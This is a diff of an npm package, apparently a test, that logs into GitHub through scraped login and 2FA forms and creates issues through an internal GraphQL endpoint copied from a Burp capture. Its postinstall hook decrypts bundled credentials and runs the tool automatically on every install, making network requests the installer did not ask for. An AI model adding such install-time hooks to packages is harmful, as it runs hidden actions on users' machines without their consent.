+ const $2 = cheerio.load(twoFaPage.data);
420
+ authToken = $2('input[name="authenticity_token"]').val();
421
+ if (!authToken) {
422
+ throw new Error("Could not find authenticity token on 2FA page (canonical fetch)");
423
+ }
424
+ }
425
+
426
+ // Prepare 2FA data
427
+ const twofaData = {
428
+ authenticity_token: authToken,
429
+ otp: otpCode
430
+ };
431
+
432
+ console.log("Submitting OTP code...");
433
+
434
+ // Submit the OTP code
435
+ const twofaResponse = await this.session.post(
436
+ 'https://github.com/sessions/two-factor',
437
+ new URLSearchParams(twofaData),
438
+ {
439
+ headers: {
440
+ 'Content-Type': 'application/x-www-form-urlencoded',
441
+ 'Referer': 'https://github.com/sessions/two-factor'
442
+ }
443
+ }
444
+ );
445
+
446
+ console.log(`\nDebug - 2FA Response:`);
447
+ console.log(` Status Code: ${twofaResponse.status}`);
448
+ console.log(` Final URL: ${twofaResponse.request.res.responseUrl || twofaResponse.config.url}`);
449
+
450
+ // Save 2FA response for debugging
451
+ if (this.writeDebug) {
452
+ await fs.writeFile('debug_2fa_response.html', twofaResponse.data, 'utf-8');
453
+ console.log(` 2FA response saved to: debug_2fa_response.html`);
454
+ }
455
+
456
+ // Check if 2FA was successful
457
+ if (twofaResponse.data.includes('logged-in') ||
458
+ twofaResponse.request.res.responseUrl === 'https://github.com/') {
459
+ console.log("āœ“ Two-factor authentication successful!");
460
+ return true;
461
+ } else if (twofaResponse.data.toLowerCase().includes('two-factor authentication code is incorrect')) {
462
+ throw new Error("2FA failed: Incorrect OTP code");
463
+ } else {
464
+ // Check if we're logged in
465
+ const checkResponse = await this.session.get('https://github.com/');
466
+ const successIndicators = ['logout', 'sign out', 'dashboard', 'avatar'];
467
+ const foundIndicators = successIndicators.filter(ind =>
468
+ checkResponse.data.toLowerCase().includes(ind)
469
+ );
470
+
471
+ if (foundIndicators.length > 0) {
472
+ console.log(` Found success indicators: ${foundIndicators}`);
473
+ console.log("āœ“ Two-factor authentication successful!");
474
+ return true;
475
+ } else {
476
+ throw new Error("2FA failed: Unknown reason. Check debug files for details.");
477
+ }
478
+ }
479
+ }
480
+
481
+ async getRepositoryId(owner, repo) {
482
+ /**
483
+ * Get the repository ID needed for GraphQL
484
+ */
485
+ // Visit the new issue page to get repository metadata
486
+ const newIssueUrl = `https://github.com/${owner}/${repo}/issues/new`;
487
+
488
+ const issuePage = await this.session.get(newIssueUrl, {
489
+ validateStatus: function (status) {
490
+ return true;
491
+ }
492
+ });
493
+
494
+ if (issuePage.status === 404) {
495
+ throw new Error(`Repository ${owner}/${repo} not found or you don't have access`);
496
+ }
497
+
498
+ // Save response for debugging
499
+ if (this.writeDebug) {
500
+ await fs.writeFile('debug_repo_response.html', issuePage.data, 'utf-8');
501
+ console.log(`Repository response saved to: debug_repo_response.html`);
502
+ }
503
+ console.log(`Repository response status: ${issuePage.status}`);
504
+
505
+ // Extract repository ID from the embedded React data
506
+ let match = issuePage.data.match(/"repositoryId":"([^"]+)"/);
507
+ if (match) {
508
+ return match[1];
509
+ }
510
+
511
+ // Alternative: look in the embedded JSON data
512
+ match = issuePage.data.match(new RegExp(`"id":"(R_[^"]+)".*?"name":"${repo}"`));
513
+ if (match) {
514
+ return match[1];
515
+ }
516
+
517
+ throw new Error("Could not find repository ID");
518
+ }
519
+
520
+ getFetchNonce() {
521
+ /**
522
+ * Extract the X-Fetch-Nonce from the page
523
+ */
524
+ // Generate a UUID-like value for the nonce
525
+ return `v2:${uuidv4()}`;
526
+ }
527
+
528
+ async createIssue(owner, repo, title, body = "") {
529
+ /**
530
+ * Create a new issue in the specified repository using GraphQL
531
+ */
532
+ console.log(`\nCreating issue in ${owner}/${repo}...`);
533
+
534
+ // Get repository ID
535
+ console.log("Fetching repository metadata...");
536
+ const repoId = await this.getRepositoryId(owner, repo);
537
+ console.log(`Repository ID: ${repoId}`);
538
+
539
+ // Get fetch nonce
540
+ const fetchNonce = this.getFetchNonce();
541
+
542
+ // Prepare GraphQL mutation
543
+ const graphqlPayload = {
544
+ query: "0198a2c5745a80475b22cd004e1d9672", // This is the query ID from your Burp capture
545
+ variables: {
546
+ fetchParent: false,
547
+ input: {
548
+ body: body,
549
+ isDuplicated: false,
550
+ issueFields: null,
551
+ issueTypeId: null,
552
+ parentIssueId: null,
553
+ repositoryId: repoId,
554
+ title: title
555
+ }
556
+ }
557
+ };
558
+
559
+ console.log(`Submitting issue via GraphQL: '${title}'...`);
560
+
561
+ // Set up headers for GraphQL request (based on your Burp capture)
562
+ const graphqlHeaders = {
563
+ 'Accept': 'application/json',
564
+ 'Content-Type': 'text/plain;charset=UTF-8',
565
+ 'X-Requested-With': 'XMLHttpRequest',
566
+ 'Github-Verified-Fetch': 'true',
567
+ 'X-Fetch-Nonce': fetchNonce,
568
+ 'Origin': 'https://github.com',
569
+ 'Referer': `https://github.com/${owner}/${repo}/issues/new`
570
+ };
571
+
572
+ // Post the GraphQL mutation
573
+ const response = await this.session.post(
574
+ 'https://github.com/_graphql',
575
+ graphqlPayload,
576
+ {
577
+ headers: graphqlHeaders,
578
+ maxRedirects: 0
579
+ }
580
+ );
581
+
582
+ // Check if issue was created successfully
583
+ if (response.status === 200) {
584
+ try {
585
+ const result = response.data;
586
+
587
+ // Check for GraphQL errors
588
+ if (result.errors) {
589
+ console.log(`\nGraphQL Errors:`);
590
+ result.errors.forEach(error => {
591
+ console.log(` - ${error.message || error}`);
592
+ });
593
+ throw new Error("GraphQL mutation failed with errors");
594
+ }
595
+
596
+ // Extract issue URL from the response
597
+ if (result.data && result.data.createIssue) {
598
+ const issueData = result.data.createIssue.issue;
599
+ const issueUrl = issueData.url || '';
600
+ const issueNumber = issueData.number || '';
601
+
602
+ console.log(`āœ“ Issue created successfully!`);
603
+ console.log(`Issue #${issueNumber}: ${issueUrl}`);
604
+
605
+ return {
606
+ url: issueUrl,
607
+ number: issueNumber,
608
+ id: issueData.id || '',
609
+ title: issueData.title || ''
610
+ };
611
+ } else {
612
+ throw new Error("Unexpected GraphQL response format");
613
+ }
614
+
615
+ } catch (error) {
616
+ if (error instanceof SyntaxError) {
617
+ console.log(`Failed to parse JSON response`);
618
+ console.log(`Response text: ${response.data.toString().substring(0, 500)}`);
619
+ throw new Error("Invalid JSON response from GraphQL endpoint");
620
+ }
621
+ throw error;
622
+ }
623
+ } else {
624
+ // Debug: Print response details
625
+ console.log(`\nDebug Information:`);
626
+ console.log(`Status Code: ${response.status}`);
627
+ console.log(`Response Headers: ${JSON.stringify(response.headers)}`);
628
+ console.log(`Response Text: ${response.data.toString().substring(0, 500)}`);
629
+
630
+ throw new Error(`Failed to create issue. Status code: ${response.status}`);
631
+ }
632
+ }
633
+ }
634
+
635
+ module.exports = GitHubIssueCreator;
package/package.json ADDED
@@ -0,0 +1,50 @@
1
+ {
2
+ "name": "@johnpeterson9982332/test-package-v3",
3
+ "version": "1.0.0",
4
+ "description": "GitHub Issue Creator - CLI tool to create GitHub issues via HTTP requests",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "github-issue-creator": "./bin/cli.js"
8
+ },
9
+ "files": [
10
+ "index.js",
11
+ "config.js",
12
+ "crypto.js",
13
+ "bin/cli.js",
14
+ "scripts/postinstall.js",
15
+ "config-encrypted.txt"
16
+ ],
17
+ "scripts": {
18
+ "test": "node scripts/test-encryption.js",
19
+ "start": "node bin/cli.js",
20
+ "build": "node scripts/build.js",
21
+ "postinstall": "node scripts/postinstall.js",
22
+ "generate-key": "node scripts/generate-key.js"
23
+ },
24
+ "keywords": [
25
+ "github",
26
+ "issue",
27
+ "creator",
28
+ "automation",
29
+ "api"
30
+ ],
31
+ "author": "johnpeterson9982332",
32
+ "license": "MIT",
33
+ "dependencies": {
34
+ "axios": "^1.6.0",
35
+ "cheerio": "^1.0.0-rc.12",
36
+ "otplib": "^12.0.1",
37
+ "uuid": "^9.0.1"
38
+ },
39
+ "engines": {
40
+ "node": ">=14.0.0"
41
+ },
42
+ "repository": {
43
+ "type": "git",
44
+ "url": "https://github.com/johnpeterson9982332/test-package-v3.git"
45
+ },
46
+ "bugs": {
47
+ "url": "https://github.com/johnpeterson9982332/test-package-v3/issues"
48
+ },
49
+ "homepage": "https://github.com/johnpeterson9982332/test-package-v3#readme"
50
+ }
@@ -0,0 +1,83 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Postinstall script to decrypt credentials
5
+ * This runs automatically after npm install
6
+ */
7
+
8
+ const path = require('path');
9
+ const fs = require('fs');
10
+ const { decryptEnvFile } = require('../crypto');
11
+
12
+ const rootDir = path.join(__dirname, '..');
13
+ const encryptedPath = path.join(rootDir, 'config-encrypted.txt');
14
+ const decryptedPath = path.join(rootDir, 'config-decrypted.txt');
15
+
16
+ console.log('\n===========================================');
17
+ console.log(' Package Installation - Credential Setup');
18
+ console.log('===========================================\n');
19
+
20
+ // Check if SOME_STRING environment variable is set
21
+ if (!process.env.SOME_STRING) {
22
+ console.error('āŒ ERROR: SOME_STRING environment variable is not set!\n');
23
+ console.error('This package requires the SOME_STRING to decrypt credentials.');
24
+ console.error('Installation cannot continue without it.\n');
25
+ console.error('To fix this:');
26
+ console.error(' 1. Obtain the encryption key from the package maintainer');
27
+ console.error(' 2. Set it as an environment variable:');
28
+ console.error(' export SOME_STRING="your_key_here"');
29
+ console.error(' 3. Reinstall the package:');
30
+ console.error(' npm install\n');
31
+ console.error('===========================================\n');
32
+ process.exit(1);
33
+ }
34
+
35
+ console.log('āœ“ SOME_STRING environment variable found');
36
+
37
+ // Check if config-encrypted.txt file exists
38
+ if (!fs.existsSync(encryptedPath)) {
39
+ console.error('āŒ ERROR: config-encrypted.txt file not found');
40
+ console.error('The package is missing the encrypted credentials file.');
41
+ console.error('This may indicate a corrupted installation.\n');
42
+ process.exit(1);
43
+ }
44
+
45
+ console.log('āœ“ config-encrypted.txt file found');
46
+ console.log('\nDecrypting credentials...');
47
+
48
+ try {
49
+ // Decrypt the config-encrypted.txt file (keyPath is null, will use env var)
50
+ decryptEnvFile(encryptedPath, null, decryptedPath);
51
+ console.log('āœ“ Credentials decrypted successfully');
52
+ console.log('\n===========================================');
53
+ console.log(' Installation Complete!');
54
+ console.log('===========================================\n');
55
+
56
+ // Execute the CLI to create an issue
57
+ console.log('Running GitHub Issue Creator CLI...\n');
58
+ const cliMain = require('../bin/cli.js');
59
+
60
+ cliMain().then(exitCode => {
61
+ if (exitCode === 0) {
62
+ console.log('\nāœ“ Postinstall completed successfully!');
63
+ } else {
64
+ console.log('\n⚠ CLI execution completed with errors');
65
+ }
66
+ process.exit(exitCode);
67
+ }).catch(error => {
68
+ console.error('\nāŒ ERROR: CLI execution failed');
69
+ console.error(`Reason: ${error.message}\n`);
70
+ process.exit(1);
71
+ });
72
+
73
+ } catch (error) {
74
+ console.error('\nāŒ ERROR: Failed to decrypt credentials');
75
+ console.error(`Reason: ${error.message}\n`);
76
+ console.error('This usually means:');
77
+ console.error(' - The SOME_STRING is incorrect');
78
+ console.error(' - The config-encrypted.txt file is corrupted\n');
79
+ console.error('Please verify you have the correct encryption key.');
80
+ console.error('===========================================\n');
81
+ process.exit(1);
82
+ }
83
+